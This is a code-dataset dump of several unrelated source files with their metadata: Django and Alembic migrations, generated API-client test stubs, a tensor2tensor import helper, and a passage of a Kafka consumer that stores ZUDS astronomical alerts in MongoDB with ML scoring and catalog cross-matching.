from django.db import migrations import taggit.managers class Migration(migrations.Migration): dependencies = [ ('taggit', '0002_auto_20150616_2121'), ('images', '0002_auto_20181028_1656'), ] operations = [ migrations.AddField( model_name='image', name='tags', field=taggit.managers.TaggableManager(help_text='A comma-separated list of tags.', through='taggit.TaggedItem', to='taggit.Tag', verbose_name='Tags'), ), ]
true
true
f73d67096f169d8be37fa9e44dd92371ad41819b
1,745
py
Python
tests/v2/test_security_monitoring_signal_list_request.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
tests/v2/test_security_monitoring_signal_list_request.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
tests/v2/test_security_monitoring_signal_list_request.py
MichaelTROEHLER/datadog-api-client-python
12c46626622fb1277bb1e172753b342c671348bd
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # Unless explicitly stated otherwise all files in this repository are licensed under the Apache-2.0 License. # This product includes software developed at Datadog (https://www.datadoghq.com/). # Copyright 2019-Present Datadog, Inc. from __future__ import absolute_import import sys import unittest import datadog_api_client.v2 try: from datadog_api_client.v2.model import security_monitoring_signal_list_request_filter except ImportError: security_monitoring_signal_list_request_filter = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signal_list_request_filter'] try: from datadog_api_client.v2.model import security_monitoring_signal_list_request_page except ImportError: security_monitoring_signal_list_request_page = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signal_list_request_page'] try: from datadog_api_client.v2.model import security_monitoring_signals_sort except ImportError: security_monitoring_signals_sort = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signals_sort'] from datadog_api_client.v2.model.security_monitoring_signal_list_request import SecurityMonitoringSignalListRequest class TestSecurityMonitoringSignalListRequest(unittest.TestCase): """SecurityMonitoringSignalListRequest unit test stubs""" def setUp(self): pass def tearDown(self): pass def testSecurityMonitoringSignalListRequest(self): """Test SecurityMonitoringSignalListRequest""" # FIXME: construct object with mandatory attributes with example values # model = SecurityMonitoringSignalListRequest() # noqa: E501 pass if __name__ == '__main__': unittest.main()
35.612245
115
0.798281
from __future__ import absolute_import import sys import unittest import datadog_api_client.v2 try: from datadog_api_client.v2.model import security_monitoring_signal_list_request_filter except ImportError: security_monitoring_signal_list_request_filter = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signal_list_request_filter'] try: from datadog_api_client.v2.model import security_monitoring_signal_list_request_page except ImportError: security_monitoring_signal_list_request_page = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signal_list_request_page'] try: from datadog_api_client.v2.model import security_monitoring_signals_sort except ImportError: security_monitoring_signals_sort = sys.modules[ 'datadog_api_client.v2.model.security_monitoring_signals_sort'] from datadog_api_client.v2.model.security_monitoring_signal_list_request import SecurityMonitoringSignalListRequest class TestSecurityMonitoringSignalListRequest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def testSecurityMonitoringSignalListRequest(self): s if __name__ == '__main__': unittest.main()
true
true
f73d6788fe4e281f30d3f0f27fd1c5afdc7393ea
1,239
py
Python
test/test_repository_api.py
angeiv/python-harbor
98e1c096f031da4974dc5a5717272f55813c391c
[ "MIT" ]
1
2022-01-26T18:08:56.000Z
2022-01-26T18:08:56.000Z
test/test_repository_api.py
angeiv/python-harbor
98e1c096f031da4974dc5a5717272f55813c391c
[ "MIT" ]
null
null
null
test/test_repository_api.py
angeiv/python-harbor
98e1c096f031da4974dc5a5717272f55813c391c
[ "MIT" ]
1
2022-01-25T18:18:45.000Z
2022-01-25T18:18:45.000Z
# coding: utf-8 """ Harbor API These APIs provide services for manipulating Harbor project. # noqa: E501 OpenAPI spec version: 2.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import harbor from api.repository_api import RepositoryApi # noqa: E501 from harbor.rest import ApiException class TestRepositoryApi(unittest.TestCase): """RepositoryApi unit test stubs""" def setUp(self): self.api = api.repository_api.RepositoryApi() # noqa: E501 def tearDown(self): pass def test_delete_repository(self): """Test case for delete_repository Delete repository # noqa: E501 """ pass def test_get_repository(self): """Test case for get_repository Get repository # noqa: E501 """ pass def test_list_repositories(self): """Test case for list_repositories List repositories # noqa: E501 """ pass def test_update_repository(self): """Test case for update_repository Update repository # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
19.983871
78
0.640032
from __future__ import absolute_import import unittest import harbor from api.repository_api import RepositoryApi from harbor.rest import ApiException class TestRepositoryApi(unittest.TestCase): def setUp(self): self.api = api.repository_api.RepositoryApi() def tearDown(self): pass def test_delete_repository(self): pass def test_get_repository(self): pass def test_list_repositories(self): pass def test_update_repository(self): pass if __name__ == '__main__': unittest.main()
true
true
f73d685d50f58b52538063a6a3e03978d4fbefcd
1,546
py
Python
tensor2tensor/utils/usr_dir.py
medicode/tensor2tensor
3386fa537957fcf8133536322fcadec0630dde11
[ "Apache-2.0" ]
1
2022-03-17T22:46:18.000Z
2022-03-17T22:46:18.000Z
tensor2tensor/utils/usr_dir.py
medicode/tensor2tensor
3386fa537957fcf8133536322fcadec0630dde11
[ "Apache-2.0" ]
63
2017-12-19T20:29:10.000Z
2021-08-04T21:49:36.000Z
tensor2tensor/utils/usr_dir.py
medicode/tensor2tensor
3386fa537957fcf8133536322fcadec0630dde11
[ "Apache-2.0" ]
1
2018-11-20T20:20:25.000Z
2018-11-20T20:20:25.000Z
# coding=utf-8 # Copyright 2018 The Tensor2Tensor Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Utility to load code from an external user-supplied directory.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import importlib import os import sys import tensorflow as tf INTERNAL_USR_DIR_PACKAGE = "t2t_usr_dir_internal" def import_usr_dir(usr_dir): """Import module at usr_dir, if provided.""" if not usr_dir: return if usr_dir == INTERNAL_USR_DIR_PACKAGE: # The package has been installed with pip under this name for Cloud ML # Engine so just import it. importlib.import_module(INTERNAL_USR_DIR_PACKAGE) return dir_path = os.path.abspath(os.path.expanduser(usr_dir).rstrip("/")) containing_dir, module_name = os.path.split(dir_path) tf.logging.info("Importing user module %s from path %s", module_name, containing_dir) sys.path.insert(0, containing_dir) importlib.import_module(module_name) sys.path.pop(0)
33.608696
74
0.759379
from __future__ import absolute_import from __future__ import division from __future__ import print_function import importlib import os import sys import tensorflow as tf INTERNAL_USR_DIR_PACKAGE = "t2t_usr_dir_internal" def import_usr_dir(usr_dir): if not usr_dir: return if usr_dir == INTERNAL_USR_DIR_PACKAGE: importlib.import_module(INTERNAL_USR_DIR_PACKAGE) return dir_path = os.path.abspath(os.path.expanduser(usr_dir).rstrip("/")) containing_dir, module_name = os.path.split(dir_path) tf.logging.info("Importing user module %s from path %s", module_name, containing_dir) sys.path.insert(0, containing_dir) importlib.import_module(module_name) sys.path.pop(0)
true
true
f73d68a1c15853e365c43ac033b561a59f2a4964
690
py
Python
holmes/migrations/versions/2932df901655_removing_settings_table.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
holmes/migrations/versions/2932df901655_removing_settings_table.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
holmes/migrations/versions/2932df901655_removing_settings_table.py
scorphus/holmes-api
6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59
[ "MIT" ]
null
null
null
"""Removing settings table Revision ID: 2932df901655 Revises: 155c6ce689ed Create Date: 2014-04-03 10:45:09.592592 """ # revision identifiers, used by Alembic. revision = '2932df901655' down_revision = '155c6ce689ed' from alembic import op import sqlalchemy as sa def upgrade(): op.drop_table('settings') def downgrade(): op.create_table( 'settings', sa.Column('id', sa.Integer, primary_key=True), sa.Column( 'lambda_score', sa.Float, server_default=sa.text('0.0'), nullable=False ) ) connection = op.get_bind() connection.execute('INSERT INTO settings(lambda_score) VALUES(0.0)')
19.714286
72
0.642029
revision = '2932df901655' down_revision = '155c6ce689ed' from alembic import op import sqlalchemy as sa def upgrade(): op.drop_table('settings') def downgrade(): op.create_table( 'settings', sa.Column('id', sa.Integer, primary_key=True), sa.Column( 'lambda_score', sa.Float, server_default=sa.text('0.0'), nullable=False ) ) connection = op.get_bind() connection.execute('INSERT INTO settings(lambda_score) VALUES(0.0)')
true
true
f73d6940dc466548076d6aed367e4b21dba6a2da
38,838
py
Python
kowalski/alert_watcher_zuds.py
dmitryduev/broker
7b9582fae6cd37bbd334bca228ef429d96e0e498
[ "MIT" ]
1
2021-12-15T09:46:00.000Z
2021-12-15T09:46:00.000Z
kowalski/alert_watcher_zuds.py
dmitryduev/broker
7b9582fae6cd37bbd334bca228ef429d96e0e498
[ "MIT" ]
null
null
null
kowalski/alert_watcher_zuds.py
dmitryduev/broker
7b9582fae6cd37bbd334bca228ef429d96e0e498
[ "MIT" ]
null
null
null
import argparse import os import sys import io import time import json from bson.json_util import dumps import traceback import confluent_kafka from ast import literal_eval import avro.schema import fastavro import subprocess import datetime import multiprocessing # import threading import pymongo import pytz from numba import jit import numpy as np from tensorflow.keras.models import load_model import gzip import io from astropy.io import fits from copy import deepcopy ''' load config and secrets ''' with open('/app/config.json') as cjson: config = json.load(cjson) with open('/app/secrets.json') as sjson: secrets = json.load(sjson) for k in secrets: config[k].update(secrets.get(k, {})) def utc_now(): return datetime.datetime.now(pytz.utc) def time_stamps(): """ :return: local time, UTC time """ return datetime.datetime.now().strftime('%Y%m%d_%H:%M:%S'), \ datetime.datetime.utcnow().strftime('%Y%m%d_%H:%M:%S') @jit def deg2hms(x): """Transform degrees to *hours:minutes:seconds* strings. Parameters ---------- x : float The degree value c [0, 360) to be written as a sexagesimal string. Returns ------- out : str The input angle written as a sexagesimal string, in the form, hours:minutes:seconds. """ assert 0.0 <= x < 360.0, 'Bad RA value in degrees' # ac = Angle(x, unit='degree') # hms = str(ac.to_string(unit='hour', sep=':', pad=True)) # print(str(hms)) _h = np.floor(x * 12.0 / 180.) _m = np.floor((x * 12.0 / 180. - _h) * 60.0) _s = ((x * 12.0 / 180. - _h) * 60.0 - _m) * 60.0 hms = '{:02.0f}:{:02.0f}:{:07.4f}'.format(_h, _m, _s) # print(hms) return hms @jit def deg2dms(x): """Transform degrees to *degrees:arcminutes:arcseconds* strings. Parameters ---------- x : float The degree value c [-90, 90] to be converted. Returns ------- out : str The input angle as a string, written as degrees:minutes:seconds. """ assert -90.0 <= x <= 90.0, 'Bad Dec value in degrees' # ac = Angle(x, unit='degree') # dms = str(ac.to_string(unit='degree', sep=':', pad=True)) # print(dms) _d = np.floor(abs(x)) * np.sign(x) _m = np.floor(np.abs(x - _d) * 60.0) _s = np.abs(np.abs(x - _d) * 60.0 - _m) * 60.0 dms = '{:02.0f}:{:02.0f}:{:06.3f}'.format(_d, _m, _s) # print(dms) return dms @jit def great_circle_distance(ra1_deg, dec1_deg, ra2_deg, dec2_deg): """ Distance between two points on the sphere :param ra1_deg: :param dec1_deg: :param ra2_deg: :param dec2_deg: :return: distance in degrees """ # this is orders of magnitude faster than astropy.coordinates.Skycoord.separation DEGRA = np.pi / 180.0 ra1, dec1, ra2, dec2 = ra1_deg * DEGRA, dec1_deg * DEGRA, ra2_deg * DEGRA, dec2_deg * DEGRA delta_ra = np.abs(ra2 - ra1) distance = np.arctan2(np.sqrt((np.cos(dec2) * np.sin(delta_ra)) ** 2 + (np.cos(dec1) * np.sin(dec2) - np.sin(dec1) * np.cos(dec2) * np.cos( delta_ra)) ** 2), np.sin(dec1) * np.sin(dec2) + np.cos(dec1) * np.cos(dec2) * np.cos(delta_ra)) return distance * 180.0 / np.pi @jit def in_ellipse(alpha, delta0, alpha1, delta01, d0, axis_ratio, PA0): """ Check if a given point (alpha, delta0) is within an ellipse specified by center (alpha1, delta01), maj_ax (d0), axis ratio and positional angle All angles are in decimal degrees Adapted from q3c: https://github.com/segasai/q3c/blob/master/q3cube.c :param alpha: :param delta0: :param alpha1: :param delta01: :param d0: :param axis_ratio: :param PA0: :return: """ DEGRA = np.pi / 180.0 # convert degrees to radians d_alpha = (alpha1 - alpha) * DEGRA delta1 = delta01 * DEGRA delta = delta0 * DEGRA PA = PA0 * DEGRA d = d0 * DEGRA e = np.sqrt(1.0 - axis_ratio * axis_ratio) t1 = np.cos(d_alpha) t22 = np.sin(d_alpha) t3 = np.cos(delta1) t32 = np.sin(delta1) t6 = np.cos(delta) t26 = np.sin(delta) t9 = np.cos(d) t55 = np.sin(d) if (t3 * t6 * t1 + t32 * t26) < 0: return False t2 = t1 * t1 t4 = t3 * t3 t5 = t2 * t4 t7 = t6 * t6 t8 = t5 * t7 t10 = t9 * t9 t11 = t7 * t10 t13 = np.cos(PA) t14 = t13 * t13 t15 = t14 * t10 t18 = t7 * t14 t19 = t18 * t10 t24 = np.sin(PA) t31 = t1 * t3 t36 = 2.0 * t31 * t32 * t26 * t6 t37 = t31 * t32 t38 = t26 * t6 t45 = t4 * t10 t56 = t55 * t55 t57 = t4 * t7 t60 = -t8 + t5 * t11 + 2.0 * t5 * t15 - t5 * t19 - \ 2.0 * t1 * t4 * t22 * t10 * t24 * t13 * t26 - t36 + \ 2.0 * t37 * t38 * t10 - 2.0 * t37 * t38 * t15 - t45 * t14 - t45 * t2 + \ 2.0 * t22 * t3 * t32 * t6 * t24 * t10 * t13 - t56 + t7 - t11 + t4 - t57 + t57 * t10 + t19 - t18 * t45 t61 = e * e t63 = t60 * t61 + t8 + t57 - t4 - t7 + t56 + t36 return t63 > 0 """Utilities for manipulating Avro data and schemas. """ def _loadSingleAvsc(file_path, names): """Load a single avsc file. """ with open(file_path) as file_text: json_data = json.load(file_text) schema = avro.schema.SchemaFromJSONData(json_data, names) return schema def combineSchemas(schema_files): """Combine multiple nested schemas into a single schema. Parameters ---------- schema_files : `list` List of files containing schemas. If nested, most internal schema must be first. Returns ------- `dict` Avro schema """ known_schemas = avro.schema.Names() for s in schema_files: schema = _loadSingleAvsc(s, known_schemas) return schema.to_json() def writeAvroData(json_data, json_schema): """Encode json into Avro format given a schema. Parameters ---------- json_data : `dict` The JSON data containing message content. json_schema : `dict` The writer Avro schema for encoding data. Returns ------- `_io.BytesIO` Encoded data. """ bytes_io = io.BytesIO() fastavro.schemaless_writer(bytes_io, json_schema, json_data) return bytes_io def readAvroData(bytes_io, json_schema): """Read data and decode with a given Avro schema. Parameters ---------- bytes_io : `_io.BytesIO` Data to be decoded. json_schema : `dict` The reader Avro schema for decoding data. Returns ------- `dict` Decoded data. """ bytes_io.seek(0) message = fastavro.schemaless_reader(bytes_io, json_schema) return message def readSchemaData(bytes_io): """Read data that already has an Avro schema. Parameters ---------- bytes_io : `_io.BytesIO` Data to be decoded. Returns ------- `dict` Decoded data. """ bytes_io.seek(0) message = fastavro.reader(bytes_io) return message class AlertError(Exception): """Base class for exceptions in this module. """ pass class EopError(AlertError): """Exception raised when reaching end of partition. Parameters ---------- msg : Kafka message The Kafka message result from consumer.poll(). """ def __init__(self, msg): message = 'topic:%s, partition:%d, status:end, ' \ 'offset:%d, key:%s, time:%.3f\n' \ % (msg.topic(), msg.partition(), msg.offset(), str(msg.key()), time.time()) self.message = message def __str__(self): return self.message class AlertConsumer(object): """Creates an alert stream Kafka consumer for a given topic. Parameters ---------- topic : `str` Name of the topic to subscribe to. schema_files : Avro schema files The reader Avro schema files for decoding data. Optional. **kwargs Keyword arguments for configuring confluent_kafka.Consumer(). """ def __init__(self, topic, schema_files=None, **kwargs): # keep track of disconnected partitions self.num_disconnected_partitions = 0 self.topic = topic def error_cb(err, _self=self): print(*time_stamps(), 'error_cb -------->', err) # print(err.code()) if err.code() == -195: _self.num_disconnected_partitions += 1 if _self.num_disconnected_partitions == _self.num_partitions: print(*time_stamps(), 'all partitions got disconnected, killing thread') sys.exit() else: print(*time_stamps(), '{:s}: disconnected from partition.'.format(_self.topic), 'total:', self.num_disconnected_partitions) # 'error_cb': error_cb kwargs['error_cb'] = error_cb self.consumer = confluent_kafka.Consumer(**kwargs) self.num_partitions = 0 def on_assign(consumer, partitions, _self=self): # force-reset offsets when subscribing to a topic: for part in partitions: # -2 stands for beginning and -1 for end part.offset = -2 # keep number of partitions. when reaching end of last partition, kill thread and start from beginning _self.num_partitions += 1 print(consumer.get_watermark_offsets(part)) self.consumer.subscribe([topic], on_assign=on_assign) # self.consumer.subscribe([topic]) # fixme? # if schema_files is not None: # self.alert_schema = combineSchemas(schema_files) # MongoDB: self.config = config self.collection_alerts = 'ZUDS_alerts' self.collection_alerts_aux = 'ZUDS_alerts_aux' self.db = None self.connect_to_db() # indexes self.db['db'][self.collection_alerts].create_index([('coordinates.radec_geojson', '2dsphere'), ('candid', pymongo.DESCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('coordinates.radec_geojson', '2dsphere'), ('objectId', pymongo.DESCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('objectId', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candid', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candidate.ztfname', pymongo.ASCENDING)], background=True) self.db['db'][self.collection_alerts].create_index([('candidate.jdstartstack', pymongo.DESCENDING), ('candidate.jdendstack', pymongo.ASCENDING)], background=True, sparse=True) self.db['db'][self.collection_alerts].create_index([('candidate.jd', pymongo.DESCENDING), ('candidate.drb', pymongo.DESCENDING), ('candid', pymongo.DESCENDING)], background=True, sparse=True) self.db['db'][self.collection_alerts].create_index([('candidate.jd', 1), ('candidate.drb', 1), ('candidate.isdiffpos', 1), ('candidate.ndethist', 1)], name='jd__braai__magpsf__isdiffpos__ndethist', background=True, sparse=True) # ML models: self.ml_models = dict() for m in config['ml_models']: try: m_v = config["ml_models"][m]["version"] self.ml_models[m] = {'model': load_model(f'/app/models/{m}_{m_v}.h5'), 'version': m_v} except Exception as e: print(*time_stamps(), f'Error loading ML model {m}') traceback.print_exc() print(e) continue def connect_to_db(self): """ Connect to mongo :return: """ _config = self.config try: # there's only one instance of DB, it's too big to be replicated _client = pymongo.MongoClient(host=_config['database']['host'], port=_config['database']['port'], connect=False) # grab main database: _db = _client[_config['database']['db']] except Exception as _e: raise ConnectionRefusedError try: # authenticate _db.authenticate(_config['database']['user'], _config['database']['pwd']) except Exception as _e: raise ConnectionRefusedError self.db = dict() self.db['client'] = _client self.db['db'] = _db def insert_db_entry(self, _collection=None, _db_entry=None): """ Insert a document _doc to collection _collection in DB. It is monitored for timeout in case DB connection hangs for some reason :param _collection: :param _db_entry: :return: """ assert _collection is not None, 'Must specify collection' assert _db_entry is not None, 'Must specify document' try: self.db['db'][_collection].insert_one(_db_entry) except Exception as _e: print(*time_stamps(), 'Error inserting {:s} into {:s}'.format(str(_db_entry['_id']), _collection)) traceback.print_exc() print(_e) def insert_multiple_db_entries(self, _collection=None, _db_entries=None): """ Insert a document _doc to collection _collection in DB. It is monitored for timeout in case DB connection hangs for some reason :param _db: :param _collection: :param _db_entries: :return: """ assert _collection is not None, 'Must specify collection' assert _db_entries is not None, 'Must specify documents' try: # ordered=False ensures that every insert operation will be attempted # so that if, e.g., a document already exists, it will be simply skipped self.db['db'][_collection].insert_many(_db_entries, ordered=False) except pymongo.errors.BulkWriteError as bwe: print(*time_stamps(), bwe.details) except Exception as _e: traceback.print_exc() print(_e) def replace_db_entry(self, _collection=None, _filter=None, _db_entry=None): """ Insert a document _doc to collection _collection in DB. It is monitored for timeout in case DB connection hangs for some reason :param _collection: :param _filter: :param _db_entry: :return: """ assert _collection is not None, 'Must specify collection' assert _db_entry is not None, 'Must specify document' try: self.db['db'][_collection].replace_one(_filter, _db_entry, upsert=True) except Exception as _e: print(*time_stamps(), 'Error replacing {:s} in {:s}'.format(str(_db_entry['_id']), _collection)) traceback.print_exc() print(_e) @staticmethod def alert_mongify(alert): doc = dict(alert) # let mongo create a unique id # candid+objectId is a unique combination: # doc['_id'] = f"{alert['candid']}_{alert['objectId']}" # placeholders for cross-matches and classifications # doc['cross_matches'] = dict() doc['classifications'] = dict() # GeoJSON for 2D indexing doc['coordinates'] = {} _ra = doc['candidate']['ra'] _dec = doc['candidate']['dec'] _radec = [_ra, _dec] # string format: H:M:S, D:M:S # tic = time.time() _radec_str = [deg2hms(_ra), deg2dms(_dec)] # print(time.time() - tic) # print(_radec_str) doc['coordinates']['radec_str'] = _radec_str # for GeoJSON, must be lon:[-180, 180], lat:[-90, 90] (i.e. in deg) _radec_geojson = [_ra - 180.0, _dec] doc['coordinates']['radec_geojson'] = {'type': 'Point', 'coordinates': _radec_geojson} # radians and degrees: # doc['coordinates']['radec_rad'] = [_ra * np.pi / 180.0, _dec * np.pi / 180.0] # doc['coordinates']['radec_deg'] = [_ra, _dec] light_curve = deepcopy(doc['light_curve']) doc.pop('light_curve', None) if light_curve is None: light_curve = [] for lc in light_curve: if lc['flux'] > 0: lc['mag'] = -2.5 * np.log10(lc['flux']) + lc['zp'] return doc, light_curve def poll(self, path_alerts=None, path_tess=None, datestr=None, save_packets=True): """ Polls Kafka broker to consume topic. :param path_alerts: :param path_tess: :param datestr: :return: """ # msg = self.consumer.poll(timeout=timeout) msg = self.consumer.poll() if msg is None: print(*time_stamps(), 'Caught error: msg is None') if msg.error(): print('Caught error:', msg.error()) # if msg.value() is not None: # print(*time_stamps(), msg.value()) raise EopError(msg) elif msg is not None: # decode avro packet msg_decoded = self.decodeMessage(msg) for record in msg_decoded: candid = record['candid'] objectId = record['objectId'] print(*time_stamps(), self.topic, objectId, candid) # check that candid not in collection_alerts if self.db['db'][self.collection_alerts].count_documents({'candid': candid}, limit=1) == 0: # candid not in db, ingest if save_packets: # save avro packet to disk path_alert_dir = os.path.join(path_alerts, datestr) # mkdir if does not exist if not os.path.exists(path_alert_dir): os.makedirs(path_alert_dir) path_avro = os.path.join(path_alert_dir, f'{candid}.avro') print(*time_stamps(), f'saving {candid} to disk') with open(path_avro, 'wb') as f: f.write(msg.value()) # ingest decoded avro packet into db alert, light_curve = self.alert_mongify(record) # alert filters: # ML models: scores = alert_filter__ml(record, ml_models=self.ml_models) alert['classifications'] = scores print(*time_stamps(), f'ingesting {alert["candid"]} into db') self.insert_db_entry(_collection=self.collection_alerts, _db_entry=alert) # light_curve: pop nulls - save space light_curve = [{kk: vv for kk, vv in lc.items() if vv is not None} for lc in light_curve] # cross-match with external catalogs if objectId not in collection_alerts_aux: if self.db['db'][self.collection_alerts_aux].count_documents({'_id': objectId}, limit=1) == 0: # tic = time.time() xmatches = alert_filter__xmatch(self.db['db'], alert) # CLU cross-match: xmatches = {**xmatches, **alert_filter__xmatch_clu(self.db['db'], alert)} # alert['cross_matches'] = xmatches # toc = time.time() # print(f'xmatch for {alert["candid"]} took {toc-tic:.2f} s') alert_aux = {'_id': objectId, 'cross_matches': xmatches, 'light_curve': light_curve} self.insert_db_entry(_collection=self.collection_alerts_aux, _db_entry=alert_aux) else: self.db['db'][self.collection_alerts_aux].update_one({'_id': objectId}, {'$addToSet': {'light_curve': {'$each': light_curve}}}, upsert=True) # dump packet as json to disk if in a public TESS sector if 'TESS' in alert['candidate']['programpi']: # put light_curve back alert['light_curve'] = light_curve # get cross-matches # xmatches = self.db['db'][self.collection_alerts_aux].find_one({'_id': objectId}) xmatches = self.db['db'][self.collection_alerts_aux].find({'_id': objectId}, {'cross_matches': 1}, limit=1) xmatches = list(xmatches)[0] alert['cross_matches'] = xmatches['cross_matches'] if save_packets: path_tess_dir = os.path.join(path_tess, datestr) # mkdir if does not exist if not os.path.exists(path_tess_dir): os.makedirs(path_tess_dir) print(*time_stamps(), f'saving {alert["candid"]} to disk') try: with open(os.path.join(path_tess_dir, f"{alert['candid']}.json"), 'w') as f: f.write(dumps(alert)) except Exception as e: print(time_stamps(), str(e)) _err = traceback.format_exc() print(*time_stamps(), str(_err)) def decodeMessage(self, msg): """Decode Avro message according to a schema. Parameters ---------- msg : Kafka message The Kafka message result from consumer.poll(). Returns ------- `dict` Decoded message. """ # print(msg.topic(), msg.offset(), msg.error(), msg.key(), msg.value()) message = msg.value() # print(message) try: bytes_io = io.BytesIO(message) decoded_msg = readSchemaData(bytes_io) # print(decoded_msg) # decoded_msg = readAvroData(bytes_io, self.alert_schema) # print(decoded_msg) except AssertionError: # FIXME this exception is raised but not sure if it matters yet bytes_io = io.BytesIO(message) decoded_msg = None except IndexError: literal_msg = literal_eval(str(message, encoding='utf-8')) # works to give bytes bytes_io = io.BytesIO(literal_msg) # works to give <class '_io.BytesIO'> decoded_msg = readSchemaData(bytes_io) # yields reader except Exception: decoded_msg = message finally: return decoded_msg def msg_text(message): """Remove postage stamp cutouts from an alert message. """ message_text = {k: message[k] for k in message if k not in ['cutoutDifference', 'cutoutTemplate', 'cutoutScience']} return message_text def write_stamp_file(stamp_dict, output_dir): """Given a stamp dict that follows the cutout schema, write data to a file in a given directory. """ try: filename = stamp_dict['fileName'] try: os.makedirs(output_dir) except OSError: pass out_path = os.path.join(output_dir, filename) with open(out_path, 'wb') as f: f.write(stamp_dict['stampData']) except TypeError: sys.stderr.write('%% Cannot get stamp\n') return def alert_filter(alert, stampdir=None): """Filter to apply to each alert. See schemas: https://github.com/ZwickyTransientFacility/ztf-avro-alert """ data = msg_text(alert) if data: # Write your condition statement here print(data) # Print all main alert data to screen if stampdir is not None: # Collect all postage stamps write_stamp_file( alert.get('cutoutDifference'), stampdir) write_stamp_file( alert.get('cutoutTemplate'), stampdir) write_stamp_file( alert.get('cutoutScience'), stampdir) return def make_triplet(alert, to_tpu: bool = False): """ Feed in alert packet """ cutout_dict = dict() for cutout in ('science', 'template', 'difference'): # cutout_data = loads(dumps([alert[f'cutout{cutout.capitalize()}']['stampData']]))[0] # cutout_data = alert[f'cutout{cutout.capitalize()}']['stampData'] cutout_data = alert[f'cutout{cutout.capitalize()}'] # unzip with gzip.open(io.BytesIO(cutout_data), 'rb') as f: with fits.open(io.BytesIO(f.read())) as hdu: data = hdu[0].data # replace nans with zeros cutout_dict[cutout] = np.nan_to_num(data) # L2-normalize cutout_dict[cutout] /= np.linalg.norm(cutout_dict[cutout]) # pad to 63x63 if smaller shape = cutout_dict[cutout].shape if shape != (63, 63): # print(f'Shape of {candid}/{cutout}: {shape}, padding to (63, 63)') cutout_dict[cutout] = np.pad(cutout_dict[cutout], [(0, 63 - shape[0]), (0, 63 - shape[1])], mode='constant', constant_values=1e-9) triplet = np.zeros((63, 63, 3)) triplet[:, :, 0] = cutout_dict['science'] triplet[:, :, 1] = cutout_dict['template'] triplet[:, :, 2] = cutout_dict['difference'] if to_tpu: # Edge TPUs require additional processing triplet = np.rint(triplet * 128 + 128).astype(np.uint8).flatten() return triplet def alert_filter__ml(alert, ml_models: dict = None): """Filter to apply to each alert. """ scores = dict() try: ''' braai ''' triplet = make_triplet(alert) triplets = np.expand_dims(triplet, axis=0) braai = ml_models['braai']['model'].predict(x=triplets)[0] # braai = 1.0 scores['braai'] = float(braai) scores['braai_version'] = ml_models['braai']['version'] except Exception as e: print(*time_stamps(), str(e)) return scores # cone search radius: cone_search_radius = float(config['xmatch']['cone_search_radius']) # convert to rad: if config['xmatch']['cone_search_unit'] == 'arcsec': cone_search_radius *= np.pi / 180.0 / 3600. elif config['xmatch']['cone_search_unit'] == 'arcmin': cone_search_radius *= np.pi / 180.0 / 60. elif config['xmatch']['cone_search_unit'] == 'deg': cone_search_radius *= np.pi / 180.0 elif config['xmatch']['cone_search_unit'] == 'rad': cone_search_radius *= 1 else: raise Exception('Unknown cone search unit. Must be in [deg, rad, arcsec, arcmin]') def alert_filter__xmatch(db, alert): """ Filter to apply to each alert. """ xmatches = dict() try: ra_geojson = float(alert['candidate']['ra']) # geojson-friendly ra: ra_geojson -= 180.0 dec_geojson = float(alert['candidate']['dec']) ''' catalogs ''' for catalog in config['xmatch']['catalogs']: catalog_filter = config['xmatch']['catalogs'][catalog]['filter'] catalog_projection = config['xmatch']['catalogs'][catalog]['projection'] object_position_query = dict() object_position_query['coordinates.radec_geojson'] = { '$geoWithin': {'$centerSphere': [[ra_geojson, dec_geojson], cone_search_radius]}} s = db[catalog].find({**object_position_query, **catalog_filter}, {**catalog_projection}) xmatches[catalog] = list(s) except Exception as e: print(*time_stamps(), str(e)) return xmatches # cone search radius in deg: cone_search_radius_clu = 3.0 # convert deg to rad: cone_search_radius_clu *= np.pi / 180.0 def alert_filter__xmatch_clu(database, alert, size_margin=3, clu_version='CLU_20190625'): """ Filter to apply to each alert. :param size_margin: multiply galaxy size by this much before looking for a match :param clu_version: CLU catalog version """ xmatches = dict() try: ra = float(alert['candidate']['ra']) dec = float(alert['candidate']['dec']) # geojson-friendly ra: ra_geojson = float(alert['candidate']['ra']) - 180.0 dec_geojson = dec catalog_filter = {} catalog_projection = {"_id": 1, "name": 1, "ra": 1, "dec": 1, "a": 1, "b2a": 1, "pa": 1, "z": 1, "sfr_fuv": 1, "mstar": 1, "sfr_ha": 1, "coordinates.radec_str": 1} # first do a coarse search of everything that is around object_position_query = dict() object_position_query['coordinates.radec_geojson'] = { '$geoWithin': {'$centerSphere': [[ra_geojson, dec_geojson], cone_search_radius_clu]}} s = database[clu_version].find({**object_position_query, **catalog_filter}, {**catalog_projection}) galaxies = list(s) # these guys are very big, so check them separately M31 = {'_id': 596900, 'name': 'PGC2557', 'ra': 10.6847, 'dec': 41.26901, 'a': 6.35156, 'b2a': 0.32, 'pa': 35.0, 'sfr_fuv': None, 'mstar': 253816876.412914, 